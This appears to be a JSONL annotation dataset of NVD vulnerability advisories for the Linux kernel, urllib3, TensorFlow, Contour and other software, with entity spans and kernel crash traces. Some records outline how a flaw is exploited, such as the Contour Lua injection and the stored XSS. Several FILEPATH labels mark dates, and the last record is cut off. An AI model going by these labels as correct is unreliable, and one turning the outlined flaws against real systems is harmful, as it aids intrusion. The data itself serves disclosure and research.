{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Utility). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [153, 157], [365, 369], [539, 543], [619, 623], [676, 680], [717, 721], [822, 826]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [189, 195], [374, 380], [548, 554]], "VULNERABILITY: denial of service": [[504, 521]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35561"}}
{"text": "urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source.", "spans": {"SYSTEM: Python": [[38, 44]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-21441"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm: Always split write BIOs to zoned device limits\n\nAny zoned DM target that requires zone append emulation will use the\nblock layer zone write plugging. In such case, DM target drivers must\nnot split BIOs using dm_accept_partial_bio() as doing so can potentially\nlead to deadlocks with queue freeze operations. Regular write operations\nused to emulate zone append operations also cannot be split by the\ntarget driver as that would result in an invalid writen sector value\nreturn using the BIO sector.\n\nIn order for zoned DM target drivers to avoid such incorrect BIO\nsplitting, we must ensure that large BIOs are split before being passed\nto the map() function of the target, thus guaranteeing that the\nlimits for the mapped device are not exceeded.\n\ndm-crypt and dm-flakey are the only target drivers supporting zoned\ndevices and using dm_accept_partial_bio().\n\nIn the case of dm-crypt, this function is used to split BIOs to the\ninternal max_write_size limit (which will be suppressed in a different\npatch). However, since crypt_alloc_buffer() uses a bioset allowing only\nup to BIO_MAX_VECS (256) vectors in a BIO. The dm-crypt device\nmax_segments limit, which is not set and so default to BLK_MAX_SEGMENTS\n(128), must thus be respected and write BIOs split accordingly.\n\nIn the case of dm-flakey, since zone append emulation is not required,\nthe block layer zone write plugging is not used and no splitting of BIOs\nrequired.\n\nModify the function dm_zone_bio_needs_split() to use the block layer\nhelper function bio_needs_zone_write_plugging() to force a call to\nbio_split_to_limits() in dm_split_and_process_bio(). This allows DM\ntarget drivers to avoid using dm_accept_partial_bio() for write\noperations on zoned DM devices.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39792"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/imagination: Synchronize interrupts before suspending the GPU\n\nThe runtime PM suspend callback doesn't know whether the IRQ handler is\nin progress on a different CPU core and doesn't wait for it to finish.\n\nDepending on timing, the IRQ handler could be running while the GPU is\nsuspended, leading to kernel crashes when trying to access GPU\nregisters. See example signature below.\n\nIn a power off sequence initiated by the runtime PM suspend callback,\nwait for any IRQ handlers in progress on other CPU cores to finish, by\ncalling synchronize_irq().\n\nAt the same time, remove the runtime PM resume/put calls in the threaded\nIRQ handler. On top of not being the right approach to begin with, and\nbeing at the wrong place as they should have wrapped all GPU register\naccesses, the driver would hit a deadlock between synchronize_irq()\nbeing called from a runtime PM suspend callback, holding the device\npower lock, and the resume callback requiring the same.\n\nExample crash signature on a TI AM68 SK platform:\n\n  [  337.241218] SError Interrupt on CPU0, code 0x00000000bf000000 -- SError\n  [  337.241239] CPU: 0 UID: 0 PID: 112 Comm: irq/234-gpu Tainted: G   M                6.17.7-B2C-00005-g9c7bbe4ea16c #2 PREEMPT\n  [  337.241246] Tainted: [M]=MACHINE_CHECK\n  [  337.241249] Hardware name: Texas Instruments AM68 SK (DT)\n  [  337.241252] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  [  337.241256] pc : pvr_riscv_irq_pending+0xc/0x24\n  [  337.241277] lr : pvr_device_irq_thread_handler+0x64/0x310\n  [  337.241282] sp : ffff800085b0bd30\n  [  337.241284] x29: ffff800085b0bd50 x28: ffff0008070d9eab x27: ffff800083a5ce10\n  [  337.241291] x26: ffff000806e48f80 x25: ffff0008070d9eac x24: 0000000000000000\n  [  337.241296] x23: ffff0008068e9bf0 x22: ffff0008068e9bd0 x21: ffff800085b0bd30\n  [  337.241301] x20: ffff0008070d9e00 x19: ffff0008068e9000 x18: 0000000000000001\n  [  337.241305] x17: 637365645f656c70 x16: 0000000000000000 x15: ffff000b7df9ff40\n  [  337.241310] x14: 0000a585fe3c0d0e x13: 000000999704f060 x12: 000000000002771a\n  [  337.241314] x11: 00000000000000c0 x10: 0000000000000af0 x9 : ffff800085b0bd00\n  [  337.241318] x8 : ffff0008071175d0 x7 : 000000000000b955 x6 : 0000000000000003\n  [  337.241323] x5 : 0000000000000000 x4 : 0000000000000002 x3 : 0000000000000000\n  [  337.241327] x2 : ffff800080e39d20 x1 : ffff800080e3fc48 x0 : 0000000000000000\n  [  337.241333] Kernel panic - not syncing: Asynchronous SError Interrupt\n  [  337.241337] CPU: 0 UID: 0 PID: 112 Comm: irq/234-gpu Tainted: G   M                6.17.7-B2C-00005-g9c7bbe4ea16c #2 PREEMPT\n  [  337.241342] Tainted: [M]=MACHINE_CHECK\n  [  337.241343] Hardware name: Texas Instruments AM68 SK (DT)\n  [  337.241345] Call trace:\n  [  337.241348]  show_stack+0x18/0x24 (C)\n  [  337.241357]  dump_stack_lvl+0x60/0x80\n  [  337.241364]  dump_stack+0x18/0x24\n  [  337.241368]  vpanic+0x124/0x2ec\n  [  337.241373]  abort+0x0/0x4\n  [  337.241377]  add_taint+0x0/0xbc\n  [  337.241384]  arm64_serror_panic+0x70/0x80\n  [  337.241389]  do_serror+0x3c/0x74\n  [  337.241392]  el1h_64_error_handler+0x30/0x48\n  [  337.241400]  el1h_64_error+0x6c/0x70\n  [  337.241404]  pvr_riscv_irq_pending+0xc/0x24 (P)\n  [  337.241410]  irq_thread_fn+0x2c/0xb0\n  [  337.241416]  irq_thread+0x170/0x334\n  [  337.241421]  kthread+0x12c/0x210\n  [  337.241428]  ret_from_fork+0x10/0x20\n  [  337.241434] SMP: stopping secondary CPUs\n  [  337.241451] Kernel Offset: disabled\n  [  337.241453] CPU features: 0x040000,02002800,20002001,0400421b\n  [  337.241456] Memory Limit: none\n  [  337.457921] ---[ end Kernel panic - not syncing: Asynchronous SError Interrupt ]---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23469"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: flow_dissector: use DEBUG_NET_WARN_ON_ONCE\n\nThe following splat is easy to reproduce upstream as well as in -stable\nkernels. Florian Westphal provided the following commit:\n\n  d1dab4f71d37 (\"net: add and use __skb_get_hash_symmetric_net\")\n\nbut this complementary fix has been also suggested by Willem de Bruijn\nand it can be easily backported to -stable kernel which consists in\nusing DEBUG_NET_WARN_ON_ONCE instead to silence the following splat\ngiven __skb_get_hash() is used by the nftables tracing infrastructure to\nto identify packets in traces.\n\n[69133.561393] ------------[ cut here ]------------\n[69133.561404] WARNING: CPU: 0 PID: 43576 at net/core/flow_dissector.c:1104 __skb_flow_dissect+0x134f/\n[...]\n[69133.561944] CPU: 0 PID: 43576 Comm: socat Not tainted 6.10.0-rc7+ #379\n[69133.561959] RIP: 0010:__skb_flow_dissect+0x134f/0x2ad0\n[69133.561970] Code: 83 f9 04 0f 84 b3 00 00 00 45 85 c9 0f 84 aa 00 00 00 41 83 f9 02 0f 84 81 fc ff\nff 44 0f b7 b4 24 80 00 00 00 e9 8b f9 ff ff <0f> 0b e9 20 f3 ff ff 41 f6 c6 20 0f 84 e4 ef ff ff 48 8d 7b 12 e8\n[69133.561979] RSP: 0018:ffffc90000006fc0 EFLAGS: 00010246\n[69133.561988] RAX: 0000000000000000 RBX: ffffffff82f33e20 RCX: ffffffff81ab7e19\n[69133.561994] RDX: dffffc0000000000 RSI: ffffc90000007388 RDI: ffff888103a1b418\n[69133.562001] RBP: ffffc90000007310 R08: 0000000000000000 R09: 0000000000000000\n[69133.562007] R10: ffffc90000007388 R11: ffffffff810cface R12: ffff888103a1b400\n[69133.562013] R13: 0000000000000000 R14: ffffffff82f33e2a R15: ffffffff82f33e28\n[69133.562020] FS:  00007f40f7131740(0000) GS:ffff888390800000(0000) knlGS:0000000000000000\n[69133.562027] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[69133.562033] CR2: 00007f40f7346ee0 CR3: 000000015d200001 CR4: 00000000001706f0\n[69133.562040] Call Trace:\n[69133.562044]  <IRQ>\n[69133.562049]  ? __warn+0x9f/0x1a0\n[ 1211.841384]  ? __skb_flow_dissect+0x107e/0x2860\n[...]\n[ 1211.841496]  ? bpf_flow_dissect+0x160/0x160\n[ 1211.841753]  __skb_get_hash+0x97/0x280\n[ 1211.841765]  ? __skb_get_hash_symmetric+0x230/0x230\n[ 1211.841776]  ? mod_find+0xbf/0xe0\n[ 1211.841786]  ? get_stack_info_noinstr+0x12/0xe0\n[ 1211.841798]  ? bpf_ksym_find+0x56/0xe0\n[ 1211.841807]  ? __rcu_read_unlock+0x2a/0x70\n[ 1211.841819]  nft_trace_init+0x1b9/0x1c0 [nf_tables]\n[ 1211.841895]  ? nft_trace_notify+0x830/0x830 [nf_tables]\n[ 1211.841964]  ? get_stack_info+0x2b/0x80\n[ 1211.841975]  ? nft_do_chain_arp+0x80/0x80 [nf_tables]\n[ 1211.842044]  nft_do_chain+0x79c/0x850 [nf_tables]", "spans": {"FILEPATH: /core/flow_dissector.c": [[726, 748]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42321"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToSparse`. The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/ragged_tensor_to_sparse_kernel.cc#L30) has an incomplete validation of the splits values: it does not check that they are in increasing order. We have patched the issue in GitHub commit 1071f554dbd09f7e101324d366eec5f4fe5a3ece. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/ragged_tensor_to_sparse_kernel.cc#L30": [[232, 380]], "HASH: 1071f554dbd09f7e101324d366eec5f4fe5a3ece": [[529, 569]], "ORGANIZATION: GitHub": [[515, 521]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37656"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: prevent use-after-free due to open_cached_dir error paths\n\nIf open_cached_dir() encounters an error parsing the lease from the\nserver, the error handling may race with receiving a lease break,\nresulting in open_cached_dir() freeing the cfid while the queued work is\npending.\n\nUpdate open_cached_dir() to drop refs rather than directly freeing the\ncfid.\n\nHave cached_dir_lease_break(), cfids_laundromat_worker(), and\ninvalidate_all_cached_dirs() clear has_lease immediately while still\nholding cfids->cfid_list_lock, and then use this to also simplify the\nreference counting in cfids_laundromat_worker() and\ninvalidate_all_cached_dirs().\n\nFixes this KASAN splat (which manually injects an error and lease break\nin open_cached_dir()):\n\n==================================================================\nBUG: KASAN: slab-use-after-free in smb2_cached_lease_break+0x27/0xb0\nRead of size 8 at addr ffff88811cc24c10 by task kworker/3:1/65\n\nCPU: 3 UID: 0 PID: 65 Comm: kworker/3:1 Not tainted 6.12.0-rc6-g255cf264e6e5-dirty #87\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020\nWorkqueue: cifsiod smb2_cached_lease_break\nCall Trace:\n <TASK>\n dump_stack_lvl+0x77/0xb0\n print_report+0xce/0x660\n kasan_report+0xd3/0x110\n smb2_cached_lease_break+0x27/0xb0\n process_one_work+0x50a/0xc50\n worker_thread+0x2ba/0x530\n kthread+0x17c/0x1c0\n ret_from_fork+0x34/0x60\n ret_from_fork_asm+0x1a/0x30\n </TASK>\n\nAllocated by task 2464:\n kasan_save_stack+0x33/0x60\n kasan_save_track+0x14/0x30\n __kasan_kmalloc+0xaa/0xb0\n open_cached_dir+0xa7d/0x1fb0\n smb2_query_path_info+0x43c/0x6e0\n cifs_get_fattr+0x346/0xf10\n cifs_get_inode_info+0x157/0x210\n cifs_revalidate_dentry_attr+0x2d1/0x460\n cifs_getattr+0x173/0x470\n vfs_statx_path+0x10f/0x160\n vfs_statx+0xe9/0x150\n vfs_fstatat+0x5e/0xc0\n __do_sys_newfstatat+0x91/0xf0\n do_syscall_64+0x95/0x1a0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFreed by task 2464:\n kasan_save_stack+0x33/0x60\n kasan_save_track+0x14/0x30\n kasan_save_free_info+0x3b/0x60\n __kasan_slab_free+0x51/0x70\n kfree+0x174/0x520\n open_cached_dir+0x97f/0x1fb0\n smb2_query_path_info+0x43c/0x6e0\n cifs_get_fattr+0x346/0xf10\n cifs_get_inode_info+0x157/0x210\n cifs_revalidate_dentry_attr+0x2d1/0x460\n cifs_getattr+0x173/0x470\n vfs_statx_path+0x10f/0x160\n vfs_statx+0xe9/0x150\n vfs_fstatat+0x5e/0xc0\n __do_sys_newfstatat+0x91/0xf0\n do_syscall_64+0x95/0x1a0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nLast potentially related work creation:\n kasan_save_stack+0x33/0x60\n __kasan_record_aux_stack+0xad/0xc0\n insert_work+0x32/0x100\n __queue_work+0x5c9/0x870\n queue_work_on+0x82/0x90\n open_cached_dir+0x1369/0x1fb0\n smb2_query_path_info+0x43c/0x6e0\n cifs_get_fattr+0x346/0xf10\n cifs_get_inode_info+0x157/0x210\n cifs_revalidate_dentry_attr+0x2d1/0x460\n cifs_getattr+0x173/0x470\n vfs_statx_path+0x10f/0x160\n vfs_statx+0xe9/0x150\n vfs_fstatat+0x5e/0xc0\n __do_sys_newfstatat+0x91/0xf0\n do_syscall_64+0x95/0x1a0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe buggy address belongs to the object at ffff88811cc24c00\n which belongs to the cache kmalloc-1k of size 1024\nThe buggy address is located 16 bytes inside of\n freed 1024-byte region [ffff88811cc24c00, ffff88811cc25000)", "spans": {"FILEPATH: /12/2020": [[1193, 1201]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: VMware": [[1110, 1116], [1123, 1129]], "VULNERABILITY: use-after-free": [[82, 96], [892, 906]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53177"}}
{"text": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Forcepoint Web Security (Transaction Viewer) allows Stored XSS.\n\n\n\n\n\nThe\n Forcepoint Web Security portal allows administrators to generate \ndetailed reports on user requests made through the Web proxy. It has \nbeen determined that the \"user agent\" field in the Transaction Viewer is\n vulnerable to a persistent Cross-Site Scripting (XSS) vulnerability, \nwhich can be exploited by any user who can route traffic through the \nForcepoint Web proxy.\n\nThis \nvulnerability enables unauthorized attackers to execute JavaScript \nwithin the browser context of a Forcepoint administrator, thereby \nallowing them to perform actions on the administrator's behalf. Such a \nbreach could lead to unauthorized access or modifications, posing a \nsignificant security risk.\n\n\n\n\n\n\nThis issue affects Web Security: before 8.5.6.", "spans": {"VULNERABILITY: Improper Neutralization": [[0, 23]], "VULNERABILITY: Cross-site Scripting": [[62, 82]], "VULNERABILITY: Cross-Site Scripting": [[413, 433]], "VULNERABILITY: Stored XSS": [[154, 164]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-6452"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nteam: fix check for port enabled in team_queue_override_port_prio_changed()\n\nThere has been a syzkaller bug reported recently with the following\ntrace:\n\nlist_del corruption, ffff888058bea080->prev is LIST_POISON2 (dead000000000122)\n------------[ cut here ]------------\nkernel BUG at lib/list_debug.c:59!\nOops: invalid opcode: 0000 [#1] SMP KASAN NOPTI\nCPU: 3 UID: 0 PID: 21246 Comm: syz.0.2928 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nRIP: 0010:__list_del_entry_valid_or_report+0x13e/0x200 lib/list_debug.c:59\nCode: 48 c7 c7 e0 71 f0 8b e8 30 08 ef fc 90 0f 0b 48 89 ef e8 a5 02 55 fd 48 89 ea 48 89 de 48 c7 c7 40 72 f0 8b e8 13 08 ef fc 90 <0f> 0b 48 89 ef e8 88 02 55 fd 48 89 ea 48 b8 00 00 00 00 00 fc ff\nRSP: 0018:ffffc9000d49f370 EFLAGS: 00010286\nRAX: 000000000000004e RBX: ffff888058bea080 RCX: ffffc9002817d000\nRDX: 0000000000000000 RSI: ffffffff819becc6 RDI: 0000000000000005\nRBP: dead000000000122 R08: 0000000000000005 R09: 0000000000000000\nR10: 0000000080000000 R11: 0000000000000001 R12: ffff888039e9c230\nR13: ffff888058bea088 R14: ffff888058bea080 R15: ffff888055461480\nFS:  00007fbbcfe6f6c0(0000) GS:ffff8880d6d0a000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000000110c3afcb0 CR3: 00000000382c7000 CR4: 0000000000352ef0\nCall Trace:\n <TASK>\n __list_del_entry_valid include/linux/list.h:132 [inline]\n __list_del_entry include/linux/list.h:223 [inline]\n list_del_rcu include/linux/rculist.h:178 [inline]\n __team_queue_override_port_del drivers/net/team/team_core.c:826 [inline]\n __team_queue_override_port_del drivers/net/team/team_core.c:821 [inline]\n team_queue_override_port_prio_changed drivers/net/team/team_core.c:883 [inline]\n team_priority_option_set+0x171/0x2f0 drivers/net/team/team_core.c:1534\n team_option_set drivers/net/team/team_core.c:376 [inline]\n team_nl_options_set_doit+0x8ae/0xe60 drivers/net/team/team_core.c:2653\n genl_family_rcv_msg_doit+0x209/0x2f0 net/netlink/genetlink.c:1115\n genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline]\n genl_rcv_msg+0x55c/0x800 net/netlink/genetlink.c:1210\n netlink_rcv_skb+0x158/0x420 net/netlink/af_netlink.c:2552\n genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219\n netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline]\n netlink_unicast+0x5aa/0x870 net/netlink/af_netlink.c:1346\n netlink_sendmsg+0x8c8/0xdd0 net/netlink/af_netlink.c:1896\n sock_sendmsg_nosec net/socket.c:727 [inline]\n __sock_sendmsg net/socket.c:742 [inline]\n ____sys_sendmsg+0xa98/0xc70 net/socket.c:2630\n ___sys_sendmsg+0x134/0x1d0 net/socket.c:2684\n __sys_sendmsg+0x16d/0x220 net/socket.c:2716\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0xfa0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nThe problem is in this flow:\n1) Port is enabled, queue_id != 0, in qom_list\n2) Port gets disabled\n        -> team_port_disable()\n        -> team_queue_override_port_del()\n        -> del (removed from list)\n3) Port is disabled, queue_id != 0, not in any list\n4) Priority changes\n        -> team_queue_override_port_prio_changed()\n        -> checks: port disabled && queue_id != 0\n        -> calls del - hits the BUG as it is removed already\n\nTo fix this, change the check in team_queue_override_port_prio_changed()\nso it returns early if port is not enabled.", "spans": {"FILEPATH: /01/2014": [[592, 600]], "FILEPATH: /linux/list.h": [[1494, 1507], [1546, 1559]], "FILEPATH: /linux/rculist.h": [[1594, 1610]], "FILEPATH: /net/team/team_core.c": [[1663, 1684], [1737, 1758], [1818, 1839], [1898, 1919], [1949, 1970], [2029, 2050]], "FILEPATH: /netlink/genetlink.c": [[2097, 2117], [2147, 2167], [2211, 2231], [2319, 2339]], "FILEPATH: /netlink/af_netlink.c": [[2269, 2290], [2372, 2393], [2440, 2461], [2499, 2520]], "FILEPATH: /x86/entry/syscall_64.c": [[2772, 2795], [2838, 2861]], "FILEPATH: list_debug.c": [[356, 368], [660, 672]], "FILEPATH: socket.c": [[2550, 2558], [2592, 2600], [2647, 2655], [2693, 2701], [2738, 2746]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[517, 521]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71091"}}
{"text": "Padding bytes in Ethernet packets on PA-200, PA-220, PA-500, PA-800, PA-2000 Series, PA-3000 Series, PA-3200 Series, PA-5200 Series, and PA-7000 Series firewalls are not cleared before the data frame is created. This leaks a small amount of random information from the firewall memory into the Ethernet packets. An attacker on the same Ethernet subnet as the PAN-OS firewall is able to collect potentially sensitive information from these packets. This issue is also known as Etherleak and is detected by security scanners as CVE-2003-0001. This issue impacts: PAN-OS 8.1 version earlier than PAN-OS 8.1.18; PAN-OS 9.0 versions earlier than PAN-OS 9.0.12; PAN-OS 9.1 versions earlier than PAN-OS 9.1.5.", "spans": {"CVE_ID: CVE-2003-0001": [[526, 539]], "SYSTEM: PAN-OS": [[359, 365], [561, 567], [593, 599], [608, 614], [641, 647], [656, 662], [689, 695]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-3031"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_eem: Fix memory leak in eem_unwrap\n\nThe existing code did not handle the failure case of usb_ep_queue in the\ncommand path, potentially leading to memory leaks.\n\nImprove error handling to free all allocated resources on usb_ep_queue\nfailure. This patch continues to use goto logic for error handling, as the\nexisting error handling is complex and not easily adaptable to auto-cleanup\nhelpers.\n\nkmemleak results:\n  unreferenced object 0xffffff895a512300 (size 240):\n    backtrace:\n      slab_post_alloc_hook+0xbc/0x3a4\n      kmem_cache_alloc+0x1b4/0x358\n      skb_clone+0x90/0xd8\n      eem_unwrap+0x1cc/0x36c\n  unreferenced object 0xffffff8a157f4000 (size 256):\n    backtrace:\n      slab_post_alloc_hook+0xbc/0x3a4\n      __kmem_cache_alloc_node+0x1b4/0x2dc\n      kmalloc_trace+0x48/0x140\n      dwc3_gadget_ep_alloc_request+0x58/0x11c\n      usb_ep_alloc_request+0x40/0xe4\n      eem_unwrap+0x204/0x36c\n  unreferenced object 0xffffff8aadbaac00 (size 128):\n    backtrace:\n      slab_post_alloc_hook+0xbc/0x3a4\n      __kmem_cache_alloc_node+0x1b4/0x2dc\n      __kmalloc+0x64/0x1a8\n      eem_unwrap+0x218/0x36c\n  unreferenced object 0xffffff89ccef3500 (size 64):\n    backtrace:\n      slab_post_alloc_hook+0xbc/0x3a4\n      __kmem_cache_alloc_node+0x1b4/0x2dc\n      kmalloc_trace+0x48/0x140\n      eem_unwrap+0x238/0x36c", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[93, 104]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68289"}}
{"text": "HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. While most alignment records store DNA sequence and quality values, the format also allows them to omit this data in certain cases to save space. Due to some quirks of the CRAM format, it is necessary to handle these records carefully as they will actually store data that needs to be consumed and then discarded. Unfortunately the `cram_decode_seq()` did not handle this correctly in some cases. Where this happened it could result in reading a single byte from beyond the end of a heap allocation, followed by writing a single attacker-controlled byte to the same location. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program.  It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.", "spans": {"VULNERABILITY: buffer overflow": [[753, 768]], "VULNERABILITY: code execution": [[995, 1009]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31962"}}
{"text": "Contour is a Kubernetes ingress controller using Envoy proxy. From v1.19.0 to before v1.33.4, v1.32.5, and v1.31.6, Contour's Cookie Rewriting feature is vulnerable to Lua code injection. An attacker with RBAC permissions to create or modify HTTPProxy resources can craft a malicious value in spec.routes[].cookieRewritePolicies[].pathRewrite.value or spec.routes[].services[].cookieRewritePolicies[].pathRewrite.value that results in arbitrary code execution in the Envoy proxy. The cookie rewriting feature is internally implemented using Envoy's HTTP Lua filter. User-controlled values are interpolated into Lua source code using Go text/template without sufficient sanitization. The injected code only executes when processing traffic on the attacker's own route, which they already control. However, since Envoy runs as shared infrastructure, the injected code can also read Envoy's xDS client credentials from the filesystem or cause denial of service for other tenants sharing the Envoy instance. This vulnerability is fixed in v1.33.4, v1.32.5, and v1.31.6.", "spans": {"SYSTEM: Kubernetes": [[13, 23]], "VULNERABILITY: denial of service": [[940, 957]], "VULNERABILITY: code execution": [[445, 459]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-41246"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Build event generation tests only as modules\n\nThe kprobes and synth event generation test modules add events and lock\n(get a reference) those event file reference in module init function,\nand unlock and delete it in module exit function. This is because those\nare designed for playing as modules.\n\nIf we make those modules as built-in, those events are left locked in the\nkernel, and never be removed. This causes kprobe event self-test failure\nas below.\n\n[   97.349708] ------------[ cut here ]------------\n[   97.353453] WARNING: CPU: 3 PID: 1 at kernel/trace/trace_kprobe.c:2133 kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.357106] Modules linked in:\n[   97.358488] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 6.9.0-g699646734ab5-dirty #14\n[   97.361556] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n[   97.363880] RIP: 0010:kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.365538] Code: a8 24 08 82 e9 ae fd ff ff 90 0f 0b 90 48 c7 c7 e5 aa 0b 82 e9 ee fc ff ff 90 0f 0b 90 48 c7 c7 2d 61 06 82 e9 8e fd ff ff 90 <0f> 0b 90 48 c7 c7 33 0b 0c 82 89 c6 e8 6e 03 1f ff 41 ff c7 e9 90\n[   97.370429] RSP: 0000:ffffc90000013b50 EFLAGS: 00010286\n[   97.371852] RAX: 00000000fffffff0 RBX: ffff888005919c00 RCX: 0000000000000000\n[   97.373829] RDX: ffff888003f40000 RSI: ffffffff8236a598 RDI: ffff888003f40a68\n[   97.375715] RBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000\n[   97.377675] R10: ffffffff811c9ae5 R11: ffffffff8120c4e0 R12: 0000000000000000\n[   97.379591] R13: 0000000000000001 R14: 0000000000000015 R15: 0000000000000000\n[   97.381536] FS:  0000000000000000(0000) GS:ffff88807dcc0000(0000) knlGS:0000000000000000\n[   97.383813] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   97.385449] CR2: 0000000000000000 CR3: 0000000002244000 CR4: 00000000000006b0\n[   97.387347] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[   97.389277] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[   97.391196] Call Trace:\n[   97.391967]  <TASK>\n[   97.392647]  ? __warn+0xcc/0x180\n[   97.393640]  ? kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.395181]  ? report_bug+0xbd/0x150\n[   97.396234]  ? handle_bug+0x3e/0x60\n[   97.397311]  ? exc_invalid_op+0x1a/0x50\n[   97.398434]  ? asm_exc_invalid_op+0x1a/0x20\n[   97.399652]  ? trace_kprobe_is_busy+0x20/0x20\n[   97.400904]  ? tracing_reset_all_online_cpus+0x15/0x90\n[   97.402304]  ? kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.403773]  ? init_kprobe_trace+0x50/0x50\n[   97.404972]  do_one_initcall+0x112/0x240\n[   97.406113]  do_initcall_level+0x95/0xb0\n[   97.407286]  ? kernel_init+0x1a/0x1a0\n[   97.408401]  do_initcalls+0x3f/0x70\n[   97.409452]  kernel_init_freeable+0x16f/0x1e0\n[   97.410662]  ? rest_init+0x1f0/0x1f0\n[   97.411738]  kernel_init+0x1a/0x1a0\n[   97.412788]  ret_from_fork+0x39/0x50\n[   97.413817]  ? rest_init+0x1f0/0x1f0\n[   97.414844]  ret_from_fork_asm+0x11/0x20\n[   97.416285]  </TASK>\n[   97.417134] irq event stamp: 